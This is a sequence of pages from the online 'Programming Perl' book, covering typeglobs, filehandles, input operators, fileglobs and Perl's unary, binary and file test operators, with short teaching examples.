2.8. List Values and Arrays | Book Index | 2.10. Typeglobs and Filehandles
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Typeglobs and Filehandles (Programming Perl)

 Book Home Programming PerlSearch this book

2.10. Typeglobs and Filehandles

Perl uses an special type called a typeglob to hold an entire symbol table entry. (The symbol table entry *foo contains the values of $foo, @foo, %foo, &foo, and several interpretations of plain old foo.) The type prefix of a typeglob is a * because it represents all types.

One use of typeglobs (or references thereto) is for passing or storing filehandles. If you want to save away a filehandle, do it this way:

$fh = *STDOUT;
or perhaps as a real reference, like this:
$fh = \*STDOUT;

This is also the way to create a local filehandle. For example:

sub newopen {
    my $path = shift;
    local *FH;          # not my() nor our()
    open(FH, $path) or return undef;
    return *FH;         # not \*FH!
}
$fh = newopen('/etc/passwd');
See the open function for other ways to generate new filehandles.

The main use of typeglobs nowadays is to alias one symbol table entry to another symbol table entry. Think of an alias as a nickname. If you say:

*foo = *bar;
it makes everything named "foo" a synonym for every corresponding thing named "bar". You can alias just one variable from a typeglob by assigning a reference instead:
*foo = \$bar;
makes $foo an alias for $bar, but doesn't make @foo an alias for @bar, or %foo an alias for %bar. All these affect global (package) variables only; lexicals cannot be accessed through symbol table entries. Aliasing global variables like this may seem like a silly thing to want to do, but it turns out that the entire module export/import mechanism is built around this feature, since there's nothing that says the symbol you're aliasing has to be in your namespace. This:
local *Here::blue = \$There::green;
temporarily makes $Here::blue an alias for $There::green, but doesn't make @Here::blue an alias for @There::green, or %Here::blue an alias for %There::green. Fortunately, all these complicated typeglob manipulations are hidden away where you don't have to look at them. See the sections Section 2.2.4, "Handle References" and Section 2.2.5, "Symbol Table References" in Chapter 8, "References", the section Section 2.1, "Symbol Tables" in Chapter 10, "Packages", and Chapter 11, "Modules", for more discussion on typeglobs and importation.

Previous | Home | Next
2.9. Hashes | Book Index | 2.11. Input Operators
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Input Operators (Programming Perl)

 Book Home Programming PerlSearch this book

2.11. Input Operators

There are several input operators we'll discuss here because they parse as terms. Sometimes we call them pseudoliterals because they act like quoted strings in many ways. (Output operators like print parse as list operators and are discussed in Chapter 29, "Functions".)

2.11.1. Command Input (Backtick) Operator

First of all, we have the command input operator, also known as the backtick operator, because it looks like this:

$info = `finger $user`;
A string enclosed by backticks (grave accents, technically) first undergoes variable interpolation just like a double-quoted string. The result is then interpreted as a command line by the system, and the output of that command becomes the value of the pseudoliteral. (This is modeled after a similar operator in Unix shells.) In scalar context, a single string consisting of all the output is returned. In list context, a list of values is returned, one for each line of output. (You can set $/ to use a different line terminator.)

The command is executed each time the pseudoliteral is evaluated. The numeric status value of the command is saved in $? (see Chapter 28, "Special Names" for the interpretation of $?, also known as $CHILD_ERROR). Unlike the csh version of this command, no translation is done on the return data--newlines remain newlines. Unlike in any of the shells, single quotes in Perl do not hide variable names in the command from interpretation. To pass a $ through to the shell you need to hide it with a backslash. The $user in our finger example above is interpolated by Perl, not by the shell. (Because the command undergoes shell processing, see Chapter 23, "Security", for security concerns.)

The generalized form of backticks is qx// (for "quoted execution"), but the operator works exactly the same way as ordinary backticks. You just get to pick your quote characters. As with similar quoting pseudofunctions, if you happen to choose a single quote as your delimiter, the command string doesn't undergo double-quote interpolation;

$perl_info  = qx(ps $$);            # that's Perl's $$
$shell_info = qx'ps $$';            # that's the shell's $$

2.11.2. Line Input (Angle) Operator

The most heavily used input operator is the line input operator, also known as the angle operator or the readline function (since that's what it calls internally). Evaluating a filehandle in angle brackets (STDIN, for example) yields the next line from the associated filehandle. (The newline is included, so according to Perl's criteria for truth, a freshly input line is always true, up until end-of-file, at which point an undefined value is returned, which is conveniently false.) Ordinarily, you would assign the input value to a variable, but there is one situation where an automatic assignment happens. If and only if the line input operator is the only thing inside the conditional of a while loop, the value is automatically assigned to the special variable $_. The assigned value is then tested to see whether it is defined. (This may seem like an odd thing to you, but you'll use the construct frequently, so it's worth learning.) Anyway, the following lines are equivalent:

while (defined($_ = <STDIN>)) { print $_; }   # the longest way
while ($_ = <STDIN>) { print; }               # explicitly to $_
while (<STDIN>) { print; }                    # the short way
for (;<STDIN>;) { print; }                    # while loop in disguise
print $_ while defined($_ = <STDIN>);         # long statement modifier
print while $_ = <STDIN>;                     # explicitly to $_
print while <STDIN>;                          # short statement modifier
Remember that this special magic requires a while loop. If you use the input operator anywhere else, you must assign the result explicitly if you want to keep the value:
while (<FH1> && <FH2>) { ... }          # WRONG: discards both inputs
if (<STDIN>)      { print; }            # WRONG: prints old value of $_
if ($_ = <STDIN>) { print; }            # suboptimal: doesn't test defined
if (defined($_ = <STDIN>)) { print; }   # best
When you're implicitly assigning to $_ in a $_ loop, this is the global variable by that name, not one localized to the while loop. You can protect an existing value of $_ this way:
while (local $_ = <STDIN>) { print; }   # use local $_
Any previous value is restored when the loop is done. $_ is still a global variable, though, so functions called from inside that loop could still access it, intentionally or otherwise. You can avoid this, too, by declaring a lexical variable:
while (my $line = <STDIN>) { print $line; } # now private
(Both of these while loops still implicitly test for whether the result of the assignment is defined, because my and local don't change how assignment is seen by the parser.) The filehandles STDIN, STDOUT, and STDERR are predefined and pre-opened. Additional filehandles may be created with the open or sysopen functions. See those functions' documentation in Chapter 29, "Functions" for details on this.

In the while loops above, we were evaluating the line input operator in a scalar context, so the operator returns each line separately. However, if you use the operator in a list context, a list consisting of all remaining input lines is returned, one line per list element. It's easy to make a large data space this way, so use this feature with care:

$one_line = <MYFILE>;   # Get first line.
@all_lines = <MYFILE>;  # Get the rest of the lines.
There is no while magic associated with the list form of the input operator, because the condition of a while loop always provides a scalar context (as does any conditional).

Using the null filehandle within the angle operator is special; it emulates the command-line behavior of typical Unix filter programs such as sed and awk. When you read lines from <>, it magically gives you all the lines from all the files mentioned on the command line. If no files were mentioned, it gives you standard input instead, so your program is easy to insert into the middle of a pipeline of processes.

Here's how it works: the first time <> is evaluated, the @ARGV array is checked, and if it is null, $ARGV[0] is set to "-", which when opened gives you standard input. The @ARGV array is then processed as a list of filenames. More explicitly, the loop:

while (<>) {
    ...                     # code for each line
}
is equivalent to the following Perl-like pseudocode:
@ARGV = ('-') unless @ARGV;     # assume STDIN iff empty
while (@ARGV) {
    $ARGV = shift @ARGV;        # shorten @ARGV each time
    if (!open(ARGV, $ARGV)) {
        warn "Can't open $ARGV: $!\n";
        next;
    }
    while (<ARGV>) {
        ...                     # code for each line
    }
}
except that it isn't so cumbersome to say, and will actually work. It really does shift array @ARGV and put the current filename into the global variable $ARGV. It also uses the special filehandle ARGV internally--<> is just a synonym for the more explicitly written <ARGV>, which is a magical filehandle. (The pseudocode above doesn't work because it treats <ARGV> as nonmagical.)

You can modify @ARGV before the first <> as long as the array ends up containing the list of filenames you really want. Because Perl uses its normal open function here, a filename of "-" counts as standard input wherever it is encountered, and the more esoteric features of open are automatically available to you (such as opening a "file" named "gzip -dc < file.gz|"). Line numbers ($.) continue as if the input were one big happy file. (But see the example under eof in Chapter 29, "Functions" for how to reset line numbers on each file.)

If you want to set @ARGV to your own list of files, go right ahead:

# default to README file if no args given
@ARGV = ("README") unless @ARGV;
If you want to pass switches into your script, you can use one of the Getopt::* modules or put a loop on the front like this:
while (@ARGV and $ARGV[0] =~ /^-/) {
    $_ = shift;
    last if /^--$/;
    if (/^-D(.*)/) { $debug = $1 }
    if (/^-v/)     { $verbose++  }
    ...             # other switches
}
while (<>) {
    ...             # code for each line
}
The <> symbol will return false only once. If you call it again after this, it will assume you are processing another @ARGV list, and if you haven't set @ARGV, it will input from STDIN.

If the string inside the angle brackets is a scalar variable (for example, <$foo>), that variable contains an indirect filehandle, either the name of the filehandle to input from or a reference to such a filehandle. For example:

$fh = \*STDIN;
$line = <$fh>;
or:
open($fh, "<data.txt");
$line = <$fh>;

2.11.3. Filename Globbing Operator

You might wonder what happens to a line input operator if you put something fancier inside the angle brackets. What happens is that it mutates into a different operator. If the string inside the angle brackets is anything other than a filehandle name or a scalar variable (even if there are just extra spaces), it is interpreted as a filename pattern to be "globbed".[19] The pattern is matched against the files in the current directory (or the directory specified as part of the fileglob pattern), and the filenames so matched are returned by the operator. As with line input, names are returned one at a time in scalar context, or all at once in list context. The latter usage is more common; you often see things like:

@files = <*.xml>;
As with other kinds of pseudoliterals, one level of variable interpolation is done first, but you can't say <$foo> because that's an indirect filehandle as explained earlier. In older versions of Perl, programmers would insert braces to force interpretation as a fileglob: <${foo}>. These days, it's considered cleaner to call the internal function directly as glob($foo), which is probably the right way to have invented it in the first place. So instead you'd write
@files = glob("*.xml");
if you despise overloading the angle operator for this. Which you're allowed to do.

[19]Fileglobs have nothing to do with the previously mentioned typeglobs, other than that they both use the * character in a wildcard fashion. The * character has the nickname "glob" when used like this. With typeglobs, you're globbing symbols with the same name from the symbol table. With a fileglob, you're doing wildcard matching on the filenames in a directory, just as the various shells do.

Whether you use the glob function or the old angle-bracket form, the fileglob operator also does while magic like the line input operator, assigning the result to $_. (That was the rationale for overloading the angle operator in the first place.) For example, if you wanted to change the permissions on all your C code files, you might say:

while (glob "*.c") {
    chmod 0644, $_;
}
which is equivalent to:
while (<*.c>) {
    chmod 0644, $_;
}
The glob function was originally implemented as a shell command in older versions of Perl (and in even older versions of Unix), which meant it was comparatively expensive to execute and, worse still, wouldn't work exactly the same everywhere. Nowadays it's a built-in, so it's more reliable and a lot faster. See the description of the File::Glob module in Chapter 32, "Standard Modules" for how to alter the default behavior of this operator, such as whether to treat spaces in its operand (argument) as pathname separators, whether to expand tildes or braces, whether to be case insensitive, and whether to sort the return values--amongst other things.

Of course, the shortest and arguably the most readable way to do the chmod command above is to use the fileglob as a list operator:

chmod 0644, <*.c>;
A fileglob evaluates its (embedded) operand only when starting a new list. All values must be read before the operator will start over. In a list context, this isn't important because you automatically get them all anyway. In a scalar context, however, the operator returns the next value each time it is called, or a false value if you've just run out. Again, false is returned only once. So if you're expecting a single value from a fileglob, it is much better to say:
($file) = <blurch*>;  # list context
than to say:
$file = <blurch*>;    # scalar context
because the former returns all matched filenames and resets the operator, whereas the latter alternates between returning filenames and returning false.

If you're trying to do variable interpolation, it's definitely better to use the glob operator because the older notation can cause confusion with the indirect filehandle notation. This is where it becomes apparent that the borderline between terms and operators is a bit mushy:

@files = <$dir/*.[ch]>;         # Works, but avoid.
@files = glob("$dir/*.[ch]");   # Call glob as function.
@files = glob $some_pattern;    # Call glob as operator.

We left the parentheses off of the last example to illustrate that glob can be used either as a function (a term) or as a unary operator; that is, a prefix operator that takes a single argument. The glob operator is an example of a named unary operator, which is just one kind of operator we'll talk about in the next chapter. Later, we'll talk about pattern-matching operators, which also parse like terms but behave like operators.

Previous | Home | Next
2.10. Typeglobs and Filehandles | Book Index | 3. Unary and Binary Operators
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Unary and Binary Operators (Programming Perl)

 Book Home Programming PerlSearch this book

Chapter 3. Unary and Binary Operators

Contents:

Terms and List Operators (Leftward)
The Arrow Operator
Autoincrement and Autodecrement
Exponentiation
Ideographic Unary Operators
Binding Operators
Multiplicative Operators
Additive Operators
Shift Operators
Named Unary and File Test Operators
Relational Operators
Equality Operators
Bitwise Operators
C-Style Logical (Short-Circuit) Operators
Range Operator
Conditional Operator
Assignment Operators
Comma Operators
List Operators (Rightward)
Logical and, or, not, and xor
C Operators Missing from Perl

In the last chapter, we talked about the various kinds of terms you might use in an expression, but to be honest, isolated terms are a bit boring. Many terms are party animals. They like to have relationships with each other. The typical young term feels strong urges to identify with and influence other terms in various ways, but there are many different kinds of social interaction and many different levels of commitment. In Perl, these relationships are expressed using operators.

Sociology has to be good for something.

From a mathematical perspective, operators are just ordinary functions with special syntax. From a linguistic perspective, operators are just irregular verbs. But as any linguist will tell you, the irregular verbs in a language tend to be the ones you use most often. And that's important from an information theory perspective because the irregular verbs tend to be shorter and more efficient in both production and recognition.

In practical terms, operators are handy.

Operators come in various flavors, depending on their arity (how many operands they take), their precedence (how hard they try to take those operands away from surrounding operators), and their associativity (whether they prefer to do things right to left or left to right when associated with operators of the same precedence).

Perl operators come in three arities: unary, binary, and trinary (or ternary, if your native tongue is Shibboleth). Unary operators are always prefix operators (except for the postincrement and postdecrement operators).[1] The others are all infix operators--unless you count the list operators, which can prefix any number of arguments. But most people just think of list operators as normal functions that you can forget to put parentheses around. Here are some examples:

! $x                # a unary operator
$x * $y             # a binary operator
$x ? $y : $z        # a trinary operator
print $x, $y, $z    # a list operator
An operator's precedence controls how tightly it binds. Operators with higher precedence grab the arguments around them before operators with lower precedence. The archetypal example is straight out of elementary math, where multiplication takes precedence over addition:
2 + 3 * 4          # yields 14, not 20
The order in which two operators of the same precedence are executed depends on their associativity. These rules also follow math conventions to some extent:
2 * 3 * 4          # means (2 * 3) * 4, left associative
2 ** 3 ** 4        # means 2 ** (3 ** 4), right associative
2 != 3 != 4        # illegal, nonassociative
Table 3-1 lists the associativity and arity of the Perl operators from highest precedence to lowest.

[1]Though you can think of various quotes and brackets as circumfix operators that delimit terms.

Table 3.1. Operator Precedence

Associativity | Arity | Precedence Class
None | 0 | Terms, and list operators (leftward)
Left | 2 | ->
None | 1 | ++ --
Right | 2 | **
Right | 1 | ! ~ > and unary + and -
Left | 2 | =~ !~
Left | 2 | * / % x
Left | 2 | + - .
Left | 2 | << >>
Right | 0,1 | Named unary operators
None | 2 | < > <= >= lt gt le ge
None | 2 | == != <=> eq ne cmp
Left | 2 | &
Left | 2 | | ^
Left | 2 | &&
Left | 2 | ||
None | 2 | .. ...
Right | 3 | ?:
Right | 2 | = += -= *= and so on
Left | 2 | , =>
Right | 0+ | List operators (rightward)
Right | 1 | not
Left | 2 | and
Left | 2 | or xor

It may seem to you that there are too many precedence levels to remember. Well, you're right, there are. Fortunately, you've got two things going for you here. First, the precedence levels as they're defined usually follow your intuition, presuming you're not psychotic. And second, if you're merely neurotic, you can always put in extra parentheses to relieve your anxiety.

Another helpful hint is that any operators borrowed from C keep the same precedence relationship with each other, even where C's precedence is slightly screwy. (This makes learning Perl easier for C folks and C++ folks. Maybe even Java folks.)

The following sections cover these operators in precedence order. With very few exceptions, these all operate on scalar values only, not list values. We'll mention the exceptions as they come up.

Although references are scalar values, using most of these operators on references doesn't make much sense, because the numeric value of a reference is only meaningful to the internals of Perl. Nevertheless, if a reference points to an object of a class that allows overloading, you can call these operators on such objects, and if the class has defined an overloading for that particular operator, it will define how the object is to be treated under that operator. This is how complex numbers are implemented in Perl, for instance. For more on overloading, see Chapter 13, "Overloading".

3.1. Terms and List Operators (Leftward)

Any term is of highest precedence in Perl. Terms include variables, quote and quotelike operators, most expressions in parentheses, or brackets or braces, and any function whose arguments are parenthesized. Actually, there aren't really any functions in this sense, just list operators and unary operators behaving as functions because you put parentheses around their arguments. Nevertheless, the name of Chapter 29 is Functions.

Now listen carefully. Here are a couple of rules that are very important and simplify things greatly, but may occasionally produce counterintuitive results for the unwary. If any list operator (such as print) or any named unary operator (such as chdir) is followed by a left parenthesis as the next token (ignoring whitespace), the operator and its parenthesized arguments are given highest precedence, as if it were a normal function call. The rule is this: If it looks like a function call, it is a function call. You can make it look like a nonfunction by prefixing the parentheses with a unary plus, which does absolutely nothing, semantically speaking--it doesn't even coerce the argument to be numeric.

For example, since || has lower precedence than chdir, we get:

chdir $foo    || die;       # (chdir $foo) || die
chdir($foo)   || die;       # (chdir $foo) || die
chdir ($foo)  || die;       # (chdir $foo) || die
chdir +($foo) || die;       # (chdir $foo) || die
but, because * has higher precedence than chdir, we get:
chdir $foo * 20;            # chdir ($foo * 20)
chdir($foo) * 20;           # (chdir $foo) * 20
chdir ($foo) * 20;          # (chdir $foo) * 20
chdir +($foo) * 20;         # chdir ($foo * 20)
Likewise for any numeric operator that happens to be a named unary operator, such as rand:
rand 10 * 20;               # rand (10 * 20)
rand(10) * 20;              # (rand 10) * 20
rand (10) * 20;             # (rand 10) * 20
rand +(10) * 20;            # rand (10 * 20)
In the absence of parentheses, the precedence of list operators such as print, sort, or chmod is either very high or very low depending on whether you look at the left side or the right side of the operator. (That's what the "Leftward" is doing in the title of this section.) For example, in:
@ary = (1, 3, sort 4, 2);
print @ary;         # prints 1324
the commas on the right of the sort are evaluated before the sort, but the commas on the left are evaluated after. In other words, a list operator tends to gobble up all the arguments that follow it, and then act like a simple term with regard to the preceding expression. You still have to be careful with parentheses:
# These evaluate exit before doing the print:
print($foo, exit);  # Obviously not what you want.
print $foo, exit;   # Nor this.

# These do the print before evaluating exit:
(print $foo), exit; # This is what you want.
print($foo), exit;  # Or this.
print ($foo), exit; # Or even this.
The easiest place to get burned is where you're using parentheses to group mathematical arguments, and you forget that parentheses are also used to group function arguments:
print ($foo & 255) + 1, "\n";   # prints ($foo & 255)
That probably doesn't do what you expect at first glance. Fortunately, mistakes of this nature generally produce warnings like "Useless use of addition in a void context" when warnings are enabled.

Also parsed as terms are the do {} and eval {} constructs, as well as subroutine and method calls, the anonymous array and hash composers [] and {}, and the anonymous subroutine composer sub {}.

Previous | Home | Next
2.11. Input Operators | Book Index | 3.2. The Arrow Operator
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The Arrow Operator (Programming Perl)

 Book Home Programming PerlSearch this book

3.2. The Arrow Operator

Just as in C and C++, the binary -> operator is an infix dereference operator. If the right side is a [...] array subscript, a {...} hash subscript, or a (...) subroutine argument list, the left side must be a reference (either hard or symbolic) to an array, a hash, or a subroutine, respectively. In an lvalue (assignable) context, if the left side is not a reference, it must be a location capable of holding a hard reference, in which case such a reference will be autovivified for you. For more on this (and some warnings about accidental autovivification) see Chapter 8, "References".

$aref->[42]               # an array dereference
$href->{"corned beef"}    # a hash dereference
$sref->(1,2,3)            # a subroutine dereference
Otherwise, it's a method call of some kind. The right side must be a method name (or a simple scalar variable containing the method name), and the left side must evaluate to either an object (a blessed reference) or a class name (that is, a package name):
$yogi = Bear->new("Yogi");    # a class method call
$yogi->swipe($picnic);        # an object method call
The method name may be qualified with a package name to indicate in which class to start searching for the method, or with the special package name, SUPER::, to indicate that the search should start in the parent class. See Chapter 12, "Objects".

Previous | Home | Next
3.1. Terms and List Operators (Leftward) | Book Index | 3.3. Autoincrement and Autodecrement
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Autoincrement and Autodecrement (Programming Perl)

 Book Home Programming PerlSearch this book

3.3. Autoincrement and Autodecrement

The ++ and -- operators work as in C. That is, when placed before a variable, they increment or decrement the variable before returning the value, and when placed after, they increment or decrement the variable after returning the value. For example, $a++ increments the value of scalar variable $a, returning the value before it performs the increment. Similarly, --$b{(/(\w+)/)[0]} decrements the element of the hash %b indexed by the first "word" in the default search variable ($_) and returns the value after the decrement.[2]

[2]Okay, so that wasn't exactly fair. We just wanted to make sure you were paying attention. Here's how that expression works. First the pattern match finds the first word in $_ using the regular expression \w+. The parentheses around that cause the word to be returned as a single-element list value because the pattern match is in a list context. The list context is supplied by the list slice operator, (...)[0], which returns the first (and only) element of the list. That value is used as the key for the hash, and the hash entry (value) is decremented and returned. In general, when confronted with a complex expression, analyze it from the inside out to see what order things happen in.

The autoincrement operator has a little extra built-in magic. If you increment a variable that is numeric, or that has ever been used in a numeric context, you get a normal increment. If, however, the variable has only been used in string contexts since it was set, has a value that is not the null string, and matches the pattern /^[a-zA-Z]*[0-9]*$/, the increment is done as a string, preserving each character within its range, with carry:

print ++($foo = '99');      # prints '100'
print ++($foo = 'a0');      # prints 'b1'
print ++($foo = 'Az');      # prints 'Ba'
print ++($foo = 'zz');      # prints 'aaa'
As of this writing, magical autoincrement has not been extended to Unicode letters and digits, but it might be in the future.

The autodecrement operator, however, is not magical, and we have no plans to make it so.

Previous | Home | Next
3.2. The Arrow Operator | Book Index | 3.4. Exponentiation
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Exponentiation (Programming Perl)

 Programming PerlSearch this book

3.4. Exponentiation

Binary ** is the exponentiation operator. Note that it binds even more tightly than unary minus, so -2**4 is -(2**4), not (-2)**4. The operator is implemented using C's pow(3) function, which works with floating-point numbers internally. It calculates using logarithms, which means that it works with fractional powers, but you sometimes get results that aren't as exact as a straight multiplication would produce.

Previous | Home | Next
3.3. Autoincrement and Autodecrement | Book Index | 3.5. Ideographic Unary Operators
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Ideographic Unary Operators (Programming Perl)

 Programming PerlSearch this book

3.5. Ideographic Unary Operators

Most unary operators just have names (see Section 3.10, "Named Unary and File Test Operators" later in this chapter), but some operators are deemed important enough to merit their own special symbolic representation. All of these operators seem to have something to do with negation. Blame the mathematicians.

Unary ! performs logical negation, that is, "not". See not for a lower precedence version of logical negation. The value of a negated operand is true (1) if the operand is false (numeric 0, string "0", the null string, or undefined) and false ("") if the operand is true.

Unary - performs arithmetic negation if the operand is numeric. If the operand is an identifier, a string consisting of a minus sign concatenated with the identifier is returned. Otherwise, if the string starts with a plus or minus, a string starting with the opposite sign is returned. One effect of these rules is that -bareword is equivalent to "-bareword". This is most useful for Tk programmers.

Unary ~ performs bitwise negation, that is, 1's complement. By definition, this is somewhat nonportable when limited by the word size of your machine. For example, on a 32-bit machine, ~123 is 4294967172, while on a 64-bit machine, it's 18446744073709551492. But you knew that already.

What you perhaps didn't know is that if the argument to ~ happens to be a string instead of a number, a string of identical length is returned, but with all the bits of the string complemented. This is a fast way to flip a lot of bits all at once, and it's a way to flip those bits portably, since it doesn't depend on the word size of your computer. Later we'll also cover the bitwise logical operators, which have string-oriented variants as well.

Unary + has no semantic effect whatsoever, even on strings. It is syntactically useful for separating a function name from a parenthesized expression that would otherwise be interpreted as the complete list of function arguments. (See examples under the section Section 3.1, "Terms and List Operators (Leftward)".) If you think about it sideways, + negates the effect that parentheses have of turning prefix operators into functions.

Unary \ creates a reference to whatever follows it. Used on a list, it creates a list of references. See the section Section 3.2.1, "The Backslash Operator" in Chapter 8, "References" for details. Do not confuse this behavior with the behavior of backslash within a string, although both forms do convey the vaguely negational notion of protecting the next thing from interpretation. This resemblance is not entirely accidental.

Previous | Home | Next
3.4. Exponentiation | Book Index | 3.6. Binding Operators
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Binding Operators (Programming Perl)

 Book Home Programming PerlSearch this book

3.6. Binding Operators

Binary =~ binds a string expression to a pattern match, substitution, or transliteration (loosely called translation). These operations would otherwise search or modify the string contained in $_ (the default variable). The string you want to bind is put on the left, while the operator itself is put on the right. The return value indicates the success or failure of the operator on the right, since the binding operator doesn't really do anything on its own.

If the right argument is an expression rather than a pattern match, substitution, or transliteration, it will be interpreted as a search pattern at run time. That is to say, $_ =~ $pat is equivalent to $_ =~ /$pat/. This is less efficient than an explicit search, since the pattern must be checked and possibly recompiled every time the expression is evaluated. You can avoid this recompilation by precompiling the original pattern using the qr// (quote regex) operator.

Binary !~ is just like =~ except the return value is negated logically. The following expressions are functionally equivalent:

$string !~ /pattern/
not $string =~ /pattern/
We said that the return value indicates success, but there are many kinds of success. Substitutions return the number of successful matches, as do transliterations. (In fact, the transliteration operator is often used to count characters.) Since any nonzero result is true, it all works out. The most spectacular kind of true value is a list assignment of a pattern: in a list context, pattern matches can return substrings matched by the parentheses in the pattern. But again, according to the rules of list assignment, the list assignment itself will return true if anything matched and was assigned, and false otherwise. So you sometimes see things like:
if ( ($k,$v) = $string =~ m/(\w+)=(\w*)/ ) {
    print "KEY $k VALUE $v\n";
}
Let's pick that apart. The =~ has precedence over =, so =~ happens first. The =~ binds $string to the pattern match on the right, which is scanning for occurrences of things that look like KEY=VALUE in your string. It's in a list context because it's on the right side of a list assignment. If the pattern matches, it returns a list to be assigned to $k and $v. The list assignment itself is in a scalar context, so it returns 2, the number of values on the right side of the assignment. And 2 happens to be true, since our scalar context is also a Boolean context. When the match fails, no values are assigned, which returns 0, which is false.

For more on the politics of patterns, see Chapter 5, "Pattern Matching".

Previous | Home | Next
3.5. Ideographic Unary Operators | Book Index | 3.7. Multiplicative Operators
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Multiplicative Operators (Programming Perl)

 Book Home Programming PerlSearch this book

3.7. Multiplicative Operators

Perl provides the C-like operators * (multiply), / (divide), and % (modulo). The * and / work exactly as you would expect, multiplying or dividing their two operands. Division is done in floating point, unless you've used the integer pragmatic module.

The % operator converts its operands to integers before finding the remainder according to integer division. (However, it does this integer division in floating point if necessary, so your operands can be up to 15 digits long on most 32-bit machines.) Assume that your two operands are called $a and $b. If $b is positive, then the result of $a % $b is $a minus the largest multiple of $b that is not greater than $a (which means the result will always be in the range 0 .. $b-1). If $b is negative, then the result of $a % $b is $a minus the smallest multiple of $b that is not less than $a (which means the result will be in the range $b+1 .. 0).

When use integer is in scope, % gives you direct access to the modulus operator as implemented by your C compiler. This operator is not well defined for negative operands, but will execute faster.

Binary x is the repetition operator. Actually, it's two operators. In scalar context, it returns a concatenated string consisting of the left operand repeated the number of times specified by the right operand. (For backward compatibility, it also does this in list context if the left argument is not in parentheses.)

print '-' x 80;                             # print row of dashes
print "\t" x ($tab/8), ' ' x ($tab%8);      # tab over
In list context, if the left operand is a list in parentheses, the x works as a list replicator rather than a string replicator. This is useful for initializing all the elements of an array of indeterminate length to the same value:
@ones = (1) x 80;           # a list of 80 1's
@ones = (5) x @ones;        # set all elements to 5
Similarly, you can also use x to initialize array and hash slices:
@keys = qw(perls before swine);
@hash{@keys} = ("") x @keys;
If this mystifies you, note that @keys is being used both as a list on the left side of the assignment and as a scalar value (returning the array length) on the right side of the assignment. The previous example has the same effect on %hash as:
$hash{perls}  = "";
$hash{before} = "";
$hash{swine}  = "";

Previous | Home | Next
3.6. Binding Operators | Book Index | 3.8. Additive Operators
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Additive Operators (Programming Perl)

 Book Home Programming PerlSearch this book

3.8. Additive Operators

Strangely enough, Perl also has the customary + (addition) and - (subtraction) operators. Both operators convert their arguments from strings to numeric values if necessary and return a numeric result.

Additionally, Perl provides the . operator, which does string concatenation. For example:

$almost = "Fred" . "Flintstone";    # returns FredFlintstone
Note that Perl does not place a space between the strings being concatenated. If you want the space, or if you have more than two strings to concatenate, you can use the join operator, described in Chapter 29, "Functions". Most often, though, people do their concatenation implicitly inside a double-quoted string:
$fullname = "$firstname $lastname";

Previous | Home | Next
3.7. Multiplicative Operators | Book Index | 3.9. Shift Operators
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Shift Operators (Programming Perl)

 Book Home Programming PerlSearch this book

3.9. Shift Operators

The bit-shift operators (<< and >>) return the value of the left argument shifted to the left (<<) or to the right (>>) by the number of bits specified by the right argument. The arguments should be integers. For example:

1 << 4;     # returns 16
32 >> 4;    # returns 2
Be careful, though. Results on large (or negative) numbers may vary depending on the number of bits your machine uses to represent integers.

Previous | Home | Next
3.8. Additive Operators | Book Index | 3.10. Named Unary and File Test Operators
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Named Unary and File Test Operators (Programming Perl)

 Book Home Programming PerlSearch this book

3.10. Named Unary and File Test Operators

Some of the "functions" described in Chapter 29, "Functions" are really unary operators. Table 3-2 lists all the named unary operators.

Table 3.2. Named Unary Operators

-X (file tests) | gethostbyname | localtime | return
alarm | getnetbyname | lock | rmdir
caller | getpgrp | log | scalar
chdir | getprotobyname | lstat | sin
chroot | glob | my | sleep
cos | gmtime | oct | sqrt
defined | goto | ord | srand
delete | hex | quotemeta | stat
do | int | rand | uc
eval | lc | readlink | ucfirst
exists | lcfirst | ref | umask
exit | length | require | undef

Unary operators have a higher precedence than some of the binary operators. For example:

sleep 4 | 3;
does not sleep for 7 seconds; it sleeps for 4 seconds and then takes the return value of sleep (typically zero) and bitwise ORs that with 3, as if the expression were parenthesized as:
(sleep 4) | 3;
Compare this with:
print 4 | 3;
which does take the value of 4 ORed with 3 before printing it (7 in this case), as if it were written:
print (4 | 3);
This is because print is a list operator, not a simple unary operator. Once you've learned which operators are list operators, you'll have no trouble telling unary operators and list operators apart. When in doubt, you can always use parentheses to turn a named unary operator into a function. Remember, if it looks like a function, it is a function.

Another funny thing about named unary operators is that many of them default to $_ if you don't supply an argument. However, if you omit the argument but the token following the named unary operator looks like it might be the start of an argument, Perl will get confused because it's expecting a term. Whenever the Perl tokener gets to one of the characters listed in Table 3-3, the tokener returns different token types depending on whether it expects a term or operator.

Table 3.3. Ambiguous Characters

Character | Operator | Term
+ | Addition | Unary plus
- | Subtraction | Unary minus
* | Multiplication | *typeglob
/ | Division | /pattern/
< | Less than, left shift | <HANDLE>, <<END
. | Concatenation | .3333
? | ?: | ?pattern?
% | Modulo | %assoc
& | &, && | &subroutine

So a typical boo-boo is:

next if length < 80;
in which the < looks to the parser like the beginning of the <> input symbol (a term) instead of the "less than" (an operator) you were thinking of. There's really no way to fix this and still keep Perl pathologically eclectic. If you're so incredibly lazy that you cannot bring yourself to type the two characters $_, then use one of these instead:
next if length() < 80;
next if (length) < 80;
next if 80 > length;
next unless length >= 80;
When a term is expected, a minus sign followed by a single letter will always be interpreted as a file test operator. A file test operator is a unary operator that takes one argument, either a filename or a filehandle, and tests the associated file to see whether something is true about it. If the argument is omitted, it tests $_, except for -t, which tests STDIN. Unless otherwise documented, it returns 1 for true and "" for false, or the undefined value if the file doesn't exist or is otherwise inaccessible. Currently implemented file test operators are listed in Table 3-4.

Table 3.4. File Test Operators

Operator | Meaning
-r | File is readable by effective UID/GID.
-w | File is writable by effective UID/GID.
-x | File is executable by effective UID/GID.
-o | File is owned by effective UID.
-R | File is readable by real UID/GID.
-W | File is writable by real UID/GID.
-X | File is executable by real UID/GID.
-O | File is owned by real UID.
-e | File exists.
-z | File has zero size.
-s | File has nonzero size (returns size).
-f | File is a plain file.
-d | File is a directory.
